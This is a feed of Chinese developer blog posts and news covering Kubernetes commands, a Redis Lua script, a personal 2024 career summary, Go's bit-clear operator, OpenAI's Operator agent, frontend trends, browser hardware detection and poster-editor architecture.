
如果tls配置没生效,访问网站,https的证书会显示Kubernetes Ingress Controller Fake Certificate

image.png

可能的原因有tls的hosts配置或secretName配置错误,hosts中的域名和证书中的域名不符合等。

可以通过logs命令查看ingress的日志,查看是否有tls相关日志。

kubectl logs -n ingress-nginx <ingress-nginx-pod-name>

常用命令

创建更新资源

# 创建/更新资源
kubectl apply -f <file-or-directory-path>
# 对于没有yaml文件的资源,可以直接使用edit命令,执行后k8s会自动更新
kubectl edit <resource-type>/<resource-name> [options]

参数-A是查看所有,可以替换成-n <namespace>查看特定命名空间的

查看集群

# 查看当前上下文(集群、命名空间、用户)
kubectl config current-context
# 检查集群信息
kubectl cluster-info

查看节点

# 查看集群中的节点及其状态
kubectl get nodes
# 查看节点的详细信息
kubectl describe node <node-name>

查看命名空间

# 列出集群中的命名空间
kubectl get namespaces

查看资源

# 查看所有资源
kubectl get all -n <namespace>
# 查看所有 Pod
kubectl get pods -A
# 查看所有 Service
kubectl get svc -A
# 查看所有 Deployment
kubectl get deployments -A
# 查看所有 Ingress
kubectl get ingress -A
# 列出所有资源类型
kubectl api-resources
# 查看集群的资源使用情况
kubectl top nodes
kubectl top pods -A

查看pod

# 查看 Pod 的详细信息
kubectl describe pod <pod-name> -n <namespace>
# 查看 Pod 的日志
kubectl logs <pod-name> -n <namespace>
# 实时查看日志
kubectl logs -f <pod-name> -n <namespace>
# 在 Pod 中执行命令
kubectl exec -it <pod-name> -n <namespace> -- /bin/bash

检查集群事件

kubectl get events -A

检查存储和卷信息

kubectl get pv

其他

# 创建 Secret
kubectl create secret generic <secret-name> --from-literal=<key>=<value> -n <namespace>

by 布列瑟农的星空 at January 24, 2025 03:25 AM

juejin backend

Redis-SortSet + Lua脚本 在并发场景下保存最近操作的n条数据

最近在生产环境中有一个业务场景,保存用户最近操作的n条数据,在之前的实现中,使用的Redis的 key-value,其中value保存的是使用json进行序列化的数据的集合,在测试过程中偶发数据丢失问题,最后排查是因为并发修改,导致数据丢失。

问题描述

在保存用户最近操作数据的场景中,容易想到使用 LRU(Least Recently Used)算法。但是,LRU 的节点 + Map 的实现(如 LinkedHashMap)在 Redis 中并没有直接的实现。若使用 Java 中的数据结构,会如同之前的 key-value 一样,存在并发问题。

解决方案

基于业务功能和并发的考虑,决定使用 SortSet。以操作数据的时间戳作为 score,需要保存的数据作为 value,同样可以实现该功能,时间复杂度为 O(log(n))。虽然比不上 LinkedHashMap 的 O(1),但考虑到针对每个 key,保存的数据量不会太大,在性能方面不会存在问题。

解决并发问题的方法

在业务功能满足的条件下,需要解决并发问题。若使用原生命令,在执行完添加操作后,需查询当前 set 的大小,若比设定的目标值大,则删除下标靠前的元素。然而,在并发场景下,会存在问题。例如,设定最大值为 5,当前 set 中已有 4 个元素,现并发三个请求。第一个请求保存完后,在查询 set 大小之前,第二个请求也保存了数据。此时,第一个请求会判断当前超过目标值而进行删除,在删除之前,第二个请求也查询出当前 set 的大小,也会进行删除,同理,第三个请求可能也会删除。这样会导致数据的重复删除,且并行请求越多,额外删除的数据也越多。 针对此情况,有两种解决办法:

  • 方法一:在添加数据的地方,不再进行数据的删除,而是维护一个 key 的集合,使用定时任务定时检查数据,来删除多余的数据。
  • 方法二:使用 Lua 脚本,原子性地进行数据的维护。本次采用的是使用 Lua 脚本的方式。
Lua脚本详情
private static final String ADD_RECORD_SCRIPT =
        "local key = KEYS[1] " +
                "local member = ARGV[1] " +
                "local score = ARGV[2] " +
                "local maxSize = tonumber(ARGV[3]) " +
                "redis.call('ZADD', key, score, member) " +
                "local size = redis.call('ZCARD', key) " +
                "if size > maxSize then " +
                "    redis.call('ZREMRANGEBYRANK', key, 0, size - maxSize - 1) " +
                "end " +
                "return 1";
加载Lua脚本
private void initScript() {
    try {
        saveScriptSha = cluster.scriptLoad(ADD_RECORD_SCRIPT);
        log.info("加载lua脚本成功: {}", saveInterviewScriptSha);
    } catch (Exception e) {
        log.error("加载lua脚本失败", e);
        throw new IllegalStateException("加载lua脚本失败", e);
    }
}
执行Lua脚本
public void saveSingleRecord(String key, String value) {
    long score = System.currentTimeMillis() / 1000;
    int count = 0;
    while (++count <= MAX_TRY_COUNT) {
        try {
            cluster.evalsha(saveScriptSha, Collections.singletonList(key), Arrays.asList(value, score + "", MAX_SIZE + ""), false);
            return;
        } catch (JedisNoScriptException jedisNoScriptException) {
            log.error("脚本不存在: {} {}", key, value, jedisNoScriptException);
            initScript();
        } catch (Exception e) {
            log.error("保存失败: {} {}", key, value, e);
            throw new RuntimeException(e);
        }
    }
    throw new RuntimeException("保存失败");
}

在执行的时候唯一一点需要注意的是脚本可能因为服务重启或者执行flush命令等原因,导致脚本缓存清除,所以当我们出现脚本不存在的异常的时候,进行重试。

by 林来 at January 24, 2025 03:20 AM

juejin career

一个程序员的2024总结:坚定,充实,主业副业互补,找到了一条长远且正确的路!

大家好,我是日拱一卒的攻城师不浪,致力于前沿科技探索,摸索小而美工作室。这是2025年输出的第5/100篇文章。

这是一篇迟来的2024年的总结,是对这一年来我走过的路,趟过的水,我的所感,所悟与所想的一个总结。

从时间线开始推演,这一年我经历了很多,结婚,旅行,年初的时候重新开启副业之旅,做自媒体,在公司中设计研发重要的技术类产品。。。

2次旅行

好吧,那就从年初开始说起,这时候,我跟老婆还没结婚,我们选择了先度蜜月。路线:云南大理--腾冲--芒市

大理

冬天去大理,就像进入了天堂,我不敢说大理是我去过风景最美的地方,但它一定是我去过的最舒适的地方。

像画一样的窗外景色

气候温暖,宜人,风景优美,迷人,人民淳朴,热情,品尝我没吃过的美食,品尝不一样的美食,都让我整个身心放松,惬意。

日落前的苍山洱海与民宿

生猪肉!

腾冲

腾冲嘛,挺好的,但是不会再去第二次了,因为我们不知道是因为泡了温泉的原因还是吃坏肚子了,俩人在厕所上吐下泻了一天。。。

景点嘛,不多,比较出名的就是温泉,然后还去了著名的湿地滩。

腾冲湿地

在腾冲跨了年,吃了本地的清汤牛肉锅,很鲜美。

芒市

这是一个非常适合躺平的小县城,小城不大,美食多,物价低,还有很多异域风情元素。

主街风景

日落时分

特色建筑

甸式按摩,很巴适,按摩的都是缅甸人,关键他们敢按,给我头掰的咔咔响。

云南旅行总结

我最喜欢大理,我一直想去大理旅居,做自由职业,远程开发者,养一只金毛,自己种点蔬菜,每天喝喝茶,敲敲代码,幸福不过如此吧。

希望能够尽早实现吧。

川西自驾

自驾川西是我大学时期的梦想,一直以来,我都认为这是一个神圣的地方,是自驾者的天堂,雪山、草甸,还有信仰。

然而在毕业后的第8年的5月,我终于实现了。

四姑娘山

九曲十八弯的盘山路

贡嘎雪山

爬山的时候遇到了冰雹,被热心的藏族同胞收留进他们的移动帐篷,还吃上了本地最纯正的牦牛肉(有一丢丢腥),品尝了正宗的酥油茶。

川西总结

如果你热爱山,热爱水,热爱自驾,热爱自由,那你就来,来了以后,你会后悔,为什么没有早点来!

一句忠告:川西,一定要趁年轻去!

工作

好了,心收回来,毕竟现在还是别人的牛马。

在主业上,一定要尽可能的去做到最好,但是也不要全身心都扑在上边,毕竟资本没有感情

今年跟同事合作,设计并研发了一套技术类产品,目的是为公司降本增效,也不知道会不会有一天把自己降没了😂。

如果真降没了,说明这个产品很成功啊,还是得有一丝自豪感和成就感的。

产品的事一直说要总结,但一直没空出时间来,过完年,我一定得说一说。

所以,我一直在做准备,准备有一天失业,准备有一天不想再给别人打工,我能够自给自足,甚至过上自己想要的生活。

副业之旅

所以,24年初的时候,我决定再次开启副业,同时,也被大数据筛选,通过公众号,认识了自己副业道路上的引路人。

我也断断续续的付费入了不少副业社群以及资料,但好在大多都是有价值的。

其实就在蜜月期间,我就一直在捣鼓自己的副业(这里给老婆道个歉),在某平台上卖二手产品,好在最后把学费给挣回来了,后来因为做这块的人太多,就搁置了,这次以失败告终。

随后自己改变了思路,不能只想着眼前的一些利益,目光要长远。

这时,我的贵人也一直在分享做个人IP的价值,也就是做自媒体,无论是哪个平台,结合自己的优势,选择适合自己的平台。

所以,我悄悄的激活了我尘封了几年的公众号,也就是现在的这个号:‘攻城师不浪’,可以看出,这个号在走上坡路。

当然,我在其他平台也都有自己的账号,并且全网同名:攻城师不浪

之后,在公域流量源源不断的情况下,我开始打造自己的后端产品,用来承接这些流量。

产品如何才能吸引人的注意力,如何去定价格?

这里我分享一点我做后端产品的理念:价值决定价格,那么什么决定价值呢?那就是:需求!

我今年主要的副业收入也都是靠自己做的流量带起来的,包括广告课程平台流量主,还有商单

我的**《Cesium入门到实战》**课程,半年时间,单靠我自己的流量进行推广,已经销售90余份,这个成绩其实已经超出了我的预期。

课程答疑群

当然,课程售出不是目的,交付好才是目标,这个课程我也是一直在不断的更新内容,25年我也会持续不断的更新下去的。

# Cesium最全系列教程!从零到一完成智慧城市实战项目!

如果你想系统性的学习Cesium,欢迎添加文末的联系方式,过年了,我也给大家准备了优惠福利,欢迎来撩。

其实在刚开始做之前,很多人都在哀嚎:现在的公众号,自媒体,技术课程不好做了,时代的红利已经过去了。

但转念一想,这个世道,还有好做的机会吗?每天只想不做,只知道抱怨世道不公,又能怎样?

我做公众号的初期,每天的文章只有几个,十几个阅读量,但是耐不住我的贵人一直在身后为我们加油打气:坚持坚持,平台都有冷启动期,熬过这段时间,你会感谢现在的自己。

只要你的内容有价值,是利他的,能够为别人解决痛点,能够给别人带来参考,带来价值,那么它就值得坚持去做。

因此,我认为,自媒体是一个非常值得终身投入的事业,它是一个长久复利效果最显著的事情,它也是能够让为数不多的伯乐发现你这匹千里马最直接的“捷径”

因为我就是因为通过在公众号长期输出自己的优势以及价值,所以认识了很多优秀的大佬,也结交了不少认可我的伯乐,我们互相合作,互相成就彼此。

很多人自身专业能力还不错,但在公司里却始终得不到重任,公司里的奖金,涨薪的名额都被能力不如自己的人拿走了,导致自己一肚子委屈。

不浪认为,这很正常,这说明还是自身的“能力”不行,这里的能力可能不是指的你的专业能力。

有一句话说得很对:会哭的孩子有奶吃!。当你不会哭,不懂怎么哭的时候,领导可能就会觉得你做的不够多,你也不需要获得什么额外的帮助。

公司就像一个小社会,形形色色的人,充满了利益关系和冲突,恰恰,作为程序员的我们,又不太懂那套“礼尚往来”,自然而然,在某些关键时刻,就会落于下风。

所以,不要让自己处于狭隘的处境,拓展自己的圈子认知,不要被打工绑死自己(当然你如果在公司里混的风生水起,那请忽略我上边所说的话)。

如何平衡主业副业

很多人会问:你是如何平衡主副业的时间的,不让副业影响到主业?

答:其实这里我有很多想说的,但是有一点,就是不要把公司只当作你获取报酬的地方,要把它当作你学习的地方,你以后路上的垫脚石,学习公司里一切你能够接触且值得学的东西。

一点感想

人生重在体验,不要过多的去在乎结果,要学会享受过程。人生路上不可能一帆风顺,重要的是我们能从这件事中学到什么。

当老了以后,回想自己这一生,把自己想做的事,想体验的事情都已经完成了,不论结果怎样,最起码没有什么可后悔的了,那这辈子就没白来!

最后

2024,很充实,很幸运,很满足。

2025年,我将继续深耕个人IP,深耕三维AI,提升专业技能,不断学习,打磨自己。争取早日实现小而美工作室,全国旅居这个终极梦想!

在前几天,创建了一个副业&AI群,想进群➕V:brown_7778,备注副业!顺便可领取一份副业资料。25年我打算把副业大拿邀请进群,与大家共同摸索副业之路。

by 攻城师不浪 at January 24, 2025 03:18 AM

juejin backend

Go 语言进阶必学:&^ 操作符,高效清零的秘密武器!

在 Go 语言的世界里,我们经常会遇到各种各样的操作符,它们就像魔法棒一样,帮助我们操控数据。今天,我们要聚焦一个可能被你忽视,但却非常强大的操作符:&^

&^ 操作符的真面目

&^ 操作符,也被称为“按位清除”或“位清零”操作符。它的工作原理是:

x &^ y:如果 y 的某一位是 1,则将 x 的对应位设置为 0;如果 y 的某一位是 0,则 x 的对应位保持不变。

简单来说,y 就像一个“掩码”,它决定了 x 的哪些位需要被清零。

举个例子

为了更好地理解,我们来看一个具体的例子:

package main

import "fmt"

func main() {
// &^ 按位清零运算符
// 如果右操作数的位是1,那么结果位为0
// 如果右操作数的位是0,那么结果位保持不变
a := 10 // 二进制: 1010
b := 3  // 二进制: 0011

result := a &^ b
fmt.Printf("a = %d (%b)\n", a, a)                //a = 10 (1010)
fmt.Printf("b = %d (%b)\n", b, b)                //b = 3 (11)
fmt.Printf("a &^ b = %d (%b)\n", result, result) //a &^ b = 8 (1000)
}

在这个例子中:

  • x 的二进制表示是 1010
  • y 的二进制表示是 0011
  • x &^ y 的结果是:
    • y 的最后两位都是 1,所以 x 的最后两位被清零。
    • y 的倒数第三位是 0,所以 x 的倒数第三位保持不变。
    • y 的倒数第四位是 0,所以 x 的倒数第四位保持不变。
    • 最终结果是 1000,也就是十进制的 8

&^ 操作符的妙用

&^ 操作符虽然看似简单,但却有着非常实用的应用场景:

  1. 清零特定位: 这是 &^ 操作符最常见的用途。通过构造合适的掩码,我们可以快速地将一个整数的特定位清零。
  2. 标志位操作: 在处理标志位时,&^ 操作符可以用来清除特定的标志位,而不会影响其他标志位。
  3. 数据处理: 在某些数据处理场景中,&^ 操作符可以用来提取或过滤特定的数据。

总结

&^ 操作符是 Go 语言中一个强大而又容易被忽视的工具。掌握它,可以让你在处理位操作时更加得心应手,编写出更高效、更简洁的代码。

最后,别忘了点赞、收藏、分享,让更多人了解 Go 语言的这个小秘密!

by 烛阴 at January 24, 2025 03:11 AM

oschina news industry

OpenAI 发布首个 AI 智能体

今日凌晨,OpenAI 正式发布其首个 AI 智能体—「Operator」研究预览版。

作为 OpenAI 首款真正模拟人类操作网页浏览器的 AI 助手,Operator 能够自动完成预订旅行住宿、餐厅预约和在线购物等复杂任务。用户可以在多个类别中选择不同的自动化任务,涵盖购物、配送、餐饮和旅行等领域。

目前,OpenAI 已与 DoorDash、Instacart、Priceline、StubHub 和 Uber 等公司建立合作。

技术层面,Operator 采用远程云端浏览器执行任务,无需依赖网站 API。它通过截图识别界面元素,规划后续动作,形成「观察-计划-执行」的闭环,直至完成任务。系统支持多任务并行处理,运行效率高,且能保持登录状态

据了解,Computer-Using Agent (CUA)是支撑 Operator 的核心技术,它融合了 GPT-4o 的视觉识别能力和基于强化学习的高级推理功能。CUA 通过训练掌握了与图形用户界面(GUI)交互的能力,能像人类一样操作屏幕上的按钮、菜单和文本框,无需依赖特定的操作系统或网络 API。不过 OpenAI 坦言 CUA 还有许多需要改进的地方,比如目前就没法保证在所有场景下都能稳定运行。

据悉,当用户启用 Operator 时,系统会弹出一个小窗口,展示专用 Web 浏览器的操作界面,并实时说明正在执行的任务。在此期间,允许用户随时接管控制。但 Operator 目前最大的问题还是不够稳定,其在发布会刚开始演示时还算顺利,但中后期的演示过程中遭遇连环「翻车」,甚至未能成功加载相关网页。

The Rundown AI 创始人 Rowan Cheung 提前体验 Operator,并分享了自己的反馈表示,目前 Operator 的系统仍存在限制,包括部分网站会屏蔽 AI 访问,合作伙伴集成有限。同时 Rowan Cheung 指出 Operator 需要特定的使用方法来优化效果,就像 GPT-4 适合 CoT 提示一样,但目前对 Operator 的最佳使用方式研究还很初步。

此前有消息称,Operator 在执行任务时使用的截图内容可能被恶意利用,导致「提示注入攻击」,存在严重的安全隐患。因此,为确保 Operator 的安全使用,OpenAI 通过多层保护措施防止滥用并确保用户牢牢控制 Operator,如系统在浏览器中输入敏感信息(例如登录凭据或支付信息)时要求用户接管。

目前,Operator 将率先向订阅 200 美元 Pro 计划的美国用户开放,随后逐步扩展至 Plus、Team 和 Enterprise 级别用户,API 预计将在数周内推出,用户可通过 operator.chatgpt.com 访问该服务,OpenAI 计划后续将其整合到 ChatGPT。

此外,OpenAI CEO Sam Altman 宣布 ChatGPT 用户不仅将获得 o3-mini 的免费试用机会,Plus 付费订阅会员还将享有更多使用额度。近日,OpenAI 首席产品官 Kevin Weil 还在达沃斯世界经济论坛上表示,公司预计在 2 月或 3 月发布更智能的 GPT-o3 模型。


关于「Operator」的更多技术细节:https://openai.com/index/computer-using-agent/

by 来源: OSCHINA at January 24, 2025 03:10 AM

juejin frontend

2025年前端技术趋势,你觉得有哪些?

2025年前端技术趋势,你觉得有哪些?我们从开发工具与效率提升、架构与性能优化、用户体验创新、技术框架与生态发展、安全与跨平台多个方面来展开,你觉得有哪些?可以打在评论区上,一起探讨!

开发工具与效率提升

  • AI 深度融合:AI 编程助手持续进化,如 GitHub Copilot、Cursor 等会更智能,可实现代码自动生成、智能重构、复杂逻辑处理等,还能进行精准代码审查和代码质量评估。AI 将参与项目管理,自动分析项目需求、制定计划、分配任务等。
  • 低代码 / 无代码平台崛起:借助 AI 实现更智能的自动化,能精准解析复杂业务需求,生成完整的应用架构和功能模块。平台组件和模板不断丰富,支持更多复杂场景应用开发,降低开发成本和周期。
  • 实时协同开发普及:实时协同开发工具不断完善,支持更多开发环节实时协作,如设计稿实时共享、代码审查实时沟通等。基于云的开发模式成为主流,提供便捷的团队协作环境,实现代码实时同步、版本管理和冲突解决。

架构与性能优化

  • 可组合化 API 服务架构流行:MACH 架构深入发展,各功能模块高度解耦,通过标准化 API 接口灵活组合,提高系统的可扩展性和可维护性。企业能快速搭建和调整应用系统,满足多样化业务需求。
  • Web 性能持续提升:广泛采用 HTTP/3、WebAssembly 等技术,进一步提高数据传输速度和执行效率。优化策略更加智能,如基于用户行为和设备环境的自适应加载、缓存策略等。
  • 微前端架构成熟:微前端架构在大型项目中全面普及,各团队独立开发、部署和更新前端模块,互不干扰。Module Federation 等技术不断优化,实现更高效的模块加载和通信。

用户体验创新

  • 个性化体验增强:结合 AI 和大数据分析,为用户提供高度个性化的界面展示、内容推荐和交互体验。根据用户的偏好、行为习惯等实时调整页面布局、颜色主题、功能模块等。
  • 三维与增强现实应用拓展:WebGL、Three.js 和 WebXR API 等技术不断完善,3D 内容和 AR/VR 体验在更多领域应用,如教育、建筑设计、文旅等。提升交互性和沉浸感,用户可在网页中进行 3D 模型操作、AR 导航等。

技术框架与生态发展

  • 新旧框架竞争与迭代:Vue、React 等老牌框架不断优化,提升性能、简化开发流程、增强功能。新兴框架如 Deno、VoidZero 快速发展,不依赖虚拟 DOM 的框架逐渐成熟,吸引更多开发者。
  • Web3 技术整合:去中心化应用(DApp)开发需求增加,前端开发者需掌握区块链相关技术,如智能合约编写、加密钱包集成等。Web3 前端框架和工具不断涌现,为开发 DApp 提供更好的支持和体验。

安全与跨平台

  • 安全防护升级:采用更先进的加密技术,如零知识证明、同态加密等,保护用户数据隐私。加强身份验证和访问控制,多因素身份验证、生物识别技术等广泛应用。
  • 跨平台开发优化:React Native、Flutter 等跨平台开发框架不断完善,实现更高效的多平台适配。Web 应用全面支持 PWA,可离线使用、添加到主屏幕等,提供接近原生应用的体验。

by 小IT跨界说 at January 24, 2025 03:08 AM

在 Chrome 浏览器里获取用户真实硬件信息的方法

在前端开发中,有时我们需要获取用户设备的硬件信息,比如 CPU 等,这有助于我们更好地优化应用性能,提供更适配的用户体验。下面介绍在 Chrome 浏览器中获取用户真实 CPU 和其他硬件信息的多种方式。

一、通过 navigator.hardwareConcurrency 属性获取逻辑 CPU 核心数

navigator.hardwareConcurrency 是一个很简单直接的属性,它返回当前设备的逻辑 CPU 核心数。

代码示例

const cpuCores = navigator.hardwareConcurrency;console.log('逻辑CPU核心数: ', cpuCores);

原理

这个属性是浏览器提供的 API,它直接返回操作系统报告给浏览器的逻辑 CPU 核心数量。逻辑 CPU 核心数包括了物理核心以及超线程技术模拟出来的逻辑核心。

二、利用 WebGL 2.0 获取 GPU 相关信息(间接反映 CPU 性能相关信息)

WebGL 2.0 是一种用于在网页上绘制交互式 3D 图形的 API,它可以提供一些关于 GPU 的信息,而 GPU 和 CPU 的性能在某些场景下是相互关联的。

代码示例

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WebGL GPU Info</title>
</head>
<body>
  <canvas id="glCanvas"></canvas>
  <script>
  const canvas = document.getElementById('glCanvas'); 
  const gl = canvas.getContext('webgl2');
  if (gl) {
    const vendor = gl.getParameter(gl.VENDOR);
    const renderer = gl.getParameter(gl.RENDERER);
    console.log('GPU厂商: ', vendor);
    console.log('GPU渲染器: ', renderer);
   } else {
    console.log('浏览器不支持WebGL 2.0'); 
  }
  </script>
</body>
</html>

原理

WebGL 2.0 通过 getParameter 方法来获取 GPU 的供应商(VENDOR)和渲染器(RENDERER)信息。虽然这些信息直接描述的是 GPU,但在游戏等对图形性能要求较高的应用场景中,GPU 和 CPU 的性能协同工作,所以 GPU 的性能也可以从侧面反映出设备在处理这类任务时 CPU 的性能表现。

三、通过 Performance API 获取 CPU 相关性能指标

Performance API 可以提供关于页面性能的各种信息,其中一些指标可以间接反映 CPU 的性能。

代码示例

window.addEventListener('load', function () {
  const performanceMarks = performance.getEntriesByType('mark');  
  const measureName = 'cpu - measure';  
  performance.mark('start - measure');  
  // 模拟一段复杂计算来测试CPU性能  
  let sum = 0;  
  for (let i = 0; i < 100000000; i++) {
    sum += i;  
  }  
  performance.mark('end - measure');  
  performance.measure(measureName,'start - measure', 'end - measure');  
  const measure = performance.getEntriesByName(measureName)[0];  
  console.log('模拟计算耗时: ', measure.duration,'毫秒'); 
  performance.clearMarks('start - measure');  
  performance.clearMarks('end - measure');
  performance.clearMeasures(measureName);});

原理

通过 performance.mark 标记开始和结束时间点,然后使用 performance.measure 来计算这两个时间点之间的时间差。通过模拟一段复杂的计算任务,这段计算任务的耗时可以在一定程度上反映 CPU 的计算能力。

四、方法对比

  1. navigator.hardwareConcurrency
  • 优点:获取方式极其简单,直接返回逻辑 CPU 核心数,几乎没有性能开销。
  • 缺点:只能获取到逻辑 CPU 核心数,信息单一,无法反映 CPU 的性能强弱等更详细信息。
  1. WebGL 2.0 获取 GPU 信息
  • 优点:可以获取到 GPU 的相关信息,对于一些图形密集型应用,能从侧面了解设备的硬件性能情况,尤其是与 CPU 协同工作的性能情况。
  • 缺点:需要浏览器支持 WebGL 2.0,部分老旧浏览器可能不支持。而且获取的是 GPU 信息,与 CPU 信息并非直接关联,只是间接反映。
  1. Performance API
  • 优点:通过模拟计算任务耗时,可以在一定程度上评估 CPU 的计算能力,对于优化应用中计算密集型任务有参考价值。
  • 缺点:模拟计算任务的耗时受多种因素影响,如当前浏览器的其他任务负载等,不能完全精准地反映 CPU 的真实性能。而且需要编写额外的模拟计算代码,相对复杂。

综上所述,在选择获取硬件信息的方法时,需要根据具体的业务需求和应用场景来决定。如果只是简单了解 CPU 核心数,navigator.hardwareConcurrency 就足够;如果是图形相关应用,WebGL 2.0 获取 GPU 信息有帮助;如果关注 CPU 计算性能,Performance API 模拟计算耗时的方式可以提供一定参考。

by 奇舞精选 at January 24, 2025 03:04 AM

《初探海报编辑器》

最近在调研海报编辑器 想要做到对一张图片进行添加文本 图片之类的操作 我就去调研了一些开源的海报编辑器。其实在web上关于图片的编辑器还是很多的,种类也很丰富,比如 miniPaint基本复刻了 ps,基于 farbic.js的 Pintura.和 tui.image-editor,基于 Konva的 polotno等等。
那我们的现阶段是实现一个轻量级图文编辑器,实现一些特定的交互操作和属性配置就可以了,那我这里主要调研的是一个简单、功能齐全、插件化架构,适合二次开发网页版的海报编辑器。我调研了一些方案,最后选定了基于开源的海报编辑器讯排设计做二次开发,下面也会展示部分此项目中的代码。

海报编辑器展示 github地址:github.com/palxiao/pos…
分享给大家

捋捋功能

如何生产出海报展示给用户?

海报生产和制作,模板化,海报的绘制和渲染。
大致操作流程:
基于模板或上传底图,进行图文编辑,可添加图片和文字,文字可修改字体 颜色 大小。同时可控制元素的缩放旋转、层级移动、删除和复制。 最后基于模板和元素,导出最终的图片。

海报内容元素抽象为两类:

基础元素: 线条 几何图形 图片 文本等
业务元素:具有业务属性的元素 例如二维码 头像等等

模板与素材库:

编辑器内提供丰富的海报模板,涵盖不同行业、不同风格,用户可根据需求选择合适的模板作为基础。也可以自己上传PSD文件,等待解析完成后开始编辑。
素材库提供大量的图片、图标、背景等素材,用户可轻松添加到海报中,丰富视觉效果。
这里就涉及到一个模版的解析,也就是psd文件解析。
讯排的psd解析方案是基于开源的psd.js实现的。psd.js是一款Photoshop文件解析库,支持解析 photoshop cc2019 及更早版本的所有主要元素,包括图层,蒙版、文本、调整图层、形状等。支持NodeJS和浏览器环境。

文件解析:

psd.js通过创建一个树状结构来表示PSD文件中的图层和文件夹,从而解析PSD文件。它能够提取文档结构、尺寸、图层/文件夹的位置、名称、可见性、不透明度等重要数据.

图层数据处理:

psd.js允许开发者遍历PSD文件的图层树,逐个将图层数据转换为Fabric.js对象,实现图层数据的导入

跨平台兼容性:

作为一个纯JavaScript库,psd.js可以在浏览器环境和Node.js环境中运行,这意味着它可以无缝集成到Web应用程序或桌面应用程序中。

说明:

*psd.js 和 Fabric.js 可以结合使用:
psd.js负责解析PSD文件并提取图层数据,而Fabric.js则用于在网页上渲染和操作这些图层数据,两者结合可以实现从PSD设计到Web界面的转换。

核心编辑器模块:

功能上比如:复制粘贴元素、组合成组、拆组、添加文字、图片、拖拽、裁剪、快速改变层级等等。

  1. 利用HTML5, CSS3和JavaScript开发。特别是Canvas元素和一些canvas的扩展库例如fabricjs等,用于作为海报的画布。
  2. SVG & Canvas混合渲染:结合SVG的矢量图形优势和Canvas的像素级操作,保证了图像质量的同时,实现了丰富的动态效果

画布区域交互设计

  1. 拖拽:HTML5的Drag and Drop API,使得元素的添加与移动变得直观易用。也有很多封装的库可以用比如vuedraggable。 就是mousedown、mousemove和mouseup事件的结合使用:在组件上按下鼠标后,记录组件当前位置,也就是x、y坐标(对应的是css中的left和top);每次鼠标移动时用当前最新的xy坐标减去最开始的xy坐标,计算出移动的距离,然后更新组件位置;鼠标抬起时结束移动。

  2. 工具栏:一些样式调整,元素的选择,模块切换等等

  3. 元素层级:展示当前画布内元素的层级信息,更加直观且方便快速调整。

  4. 放大缩小、撤销重做

数据结构

模版化的原理是定义了一套描述海报模板的DSL,渲染引擎可以渲染并解析DSL。

我们的内容元素和素材作为最小单位,用可配置化的数据结构来描述海报。在讯排中 是以JSON数据作为DSL描述海报,保存工程数据,将工程数据传入渲染内核就可以进行视图的预览、编辑、导出等操作。

图层管理:在这里,引入图层概念,创建Layer类管理单个元素的位置、大小等信息。后面我会重点说一下这个。 层级数据格式案例: alt text

数据&视图

数据和画布中的视图做了双向绑定,所以数据改变后只需要调用方法触发视图的更新。为了节约渲染开销,大部分都采用了手动触发的方式来通知视图的更新,做很多数据改动后才会去触发一次 update。

// 修改坐标
layer.x = 100;
layer.y = 200;

// 通知视图更新
store.update();

绘制 保存

方式有很多种 我这简单介绍一下。
前端:

  1. 使用HTML元素制作和渲染海报,由html2canvas转换为图片,开发效率很高,但是清晰度很低而且性能有一些差。
  2. 使用Canvas开发绘制海报,由Canvas生成图片,但是存在一定的性能瓶颈,比如在客户端,弱网环境 / 低性能安卓机上耗时较长。

服务端:

  1. 用Puppeteer 或 Phantomjs截图生成图片:先把海报在网页中渲染出来,对页面进行截图
  2. 用node-canvas绘制并导出图片 :先把海报在网页中渲染出来,将网页转换成canvas后再导出图片。

在讯排中:

  1. 在服务端,他们使用 puppeteer 启动无头浏览器,利用 Chrome 打开绘制页,并往其 BOM 中注入广播通知方法。
  2. 在绘制页面请求保存页面中元素集合的json信息,将页面呈现出来。通过一系列方法判断元素是否加载完成,
  3. 一旦整个页面以及资源都加载完成则调用 window 下的广播通知开始截图,这样就完成了整个图片生成操作的闭环。

*Puppeteer 是一个 Node 库,它提供了一个高级的 API 来通过 DevTools 协议控制 Chrome 或 Chromium。Puppeteer 默认以无头模式运行,但也可以配置为运行“有头”模式。它常用于网页自动化测试、生成页面截图或PDF、爬取 SPA(单页应用)并生成预渲染内容等。

alt text

扩展与集成:

  1. 集成图片处理库:如使用Apache Commons Imaging进行图片处理,实现图片的裁剪、旋转、滤镜等效果
  2. 插件化架构:如果按照硬编码的方式实现,那么组件将会错综复杂,相互紧密耦合,修改一个微小功能都要梳理众多组件的影响范围。有可能出现一些问题比如: 导入逻辑出现过多业务处理代码。 多个组件的订阅事件出现相互依赖。 也是我们未来会重点扩展的方向。
  3. 社交媒体分享:集成小红书、微信,等社交媒体API,实现一键分享海报到社交媒体。

到这里基本就是现在市面上的海报编辑器的重点功能了。

图层管理

下面我给大家介绍其中的图层管理这个点。图层面板主要是控制组件的显示/隐藏、不同组件的层级关系以及点击选中。

在canvas中:

canvas 元素提供了一个绘图环境,但是它本身并没有提供方法来控制绘图元素的层级顺序。

在canvas中,默认「后创建的对象」在z轴上高于「先创建的对象」。通常,这意味着你需要在每次重绘画布时,按照正确的顺序重新绘制每个图形元素。
例如,你可能会先绘制位于底部的元素,然后是中间的元素,最后是顶部的元素。这样,最后绘制的元素会覆盖先前绘制的元素,从而在视觉上创建了层级效果。

一般情况下,我们不会一开始就想好所有对象的创建顺序,然后依次创建它们。所以需要灵活得调整对象之间的层叠顺序。

如果他要实现层级,需要自己管理绘图顺序。这时候可以选择一些框架协助做这件事。

Fabric.js,是一个可以让 HTML5 Canvas 开发变得简单的框架 。 它是一种基于 Canvas 元素的 可交互 对象模型,也是一个 SVG 到 Canvas 的解析器(让SVG 渲染到 Canvas 上)。另外,提供了许多额外的功能来处理图形对象,包括层级控制。

fabric提供了一些方法使我们可以方便的更改元素的层级:  

toTop: 置于顶层,调用canvasbringToFront方法
up: 向上一层,调用canvasbringForward方法
down: 向下一层,调用canvassendBackwards方法
toBottom: 置于底层,调用canvassendToBack方法

但是我发现讯排没有使用canvas和fabric去操作。那他是如何做的呢?

正常情况下,我们会选择使用z-index来控制层级。但是我发现他并没有使用z-index,而是利用了层叠领域黄金准则的第二条。

层叠领域黄金准则:  
1、谁大谁上: 当具有明显的层叠水平标示的时候,如识别的z-indx值,在同一个层叠上下文领域,层叠水平值大的那一个覆盖小的那一个。
